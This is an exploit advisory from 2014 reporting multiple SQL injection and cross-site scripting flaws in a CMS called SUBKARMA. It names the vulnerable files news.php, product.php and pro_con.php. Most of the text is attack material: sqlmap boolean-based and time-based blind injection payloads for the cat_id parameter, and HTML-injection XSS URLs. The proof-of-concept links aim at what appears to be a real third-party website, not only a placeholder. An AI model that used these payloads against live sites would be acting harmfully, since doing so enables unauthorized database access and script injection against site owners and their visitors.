# Multiple SQL Injection & XSS on CMS SUBKARMA # Risk: High # CWE number: CWE-89,CWE-79 # Date: 13/10/2014 # Vendor: www.jttel.com.tw # Author: Felipe " Renzi " Gabriel # Contact: renzi@linuxmail.org # Tested on: Linux Mint ; Firefox ; Sqlmap 1.0-dev-nongit-20140906 # Vulnerables File: news.php ; product.php ; pro_con.php # Exploits: http://www.target.com/news.php?id=[XSS] http://www.target.com/product.php?cat_id=[SQLI] & [XSS] http://www.target.com/pro_con.php?id=[SQLI] & [XSS] # PoC: http://www.cideko.com/product.php?cat_id=18 http://www.cideko.com/pro_con.php?id=3 --- "SQLI using SQLMAP."--- Place: GET Parameter: cat_id Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: cat_id=18 AND 6427=6427 Type: AND/OR time-based blind Title: MySQL < 5.0.12 AND time-based blind (heavy query) Payload: cat_id=18 AND 7867=BENCHMARK(5000000,MD5(0x4d666b6e)) --- --- " XSS using HTML injection."--- http://www.cideko.com/news.php?id=38"><marquee>XSS</marquee> http://www.cideko.com/product.php?cat_id=18"><marquee>XSS</marquee> http://www.cideko.com/pro_con.php?id=3"><marquee>XSS</marquee> # Note The SQL Injection on file pro_con.php parameter id, was published by Ali Pandidan. Reference, http://cxsecurity.com/issue/WLB-2011020004 . # Thank's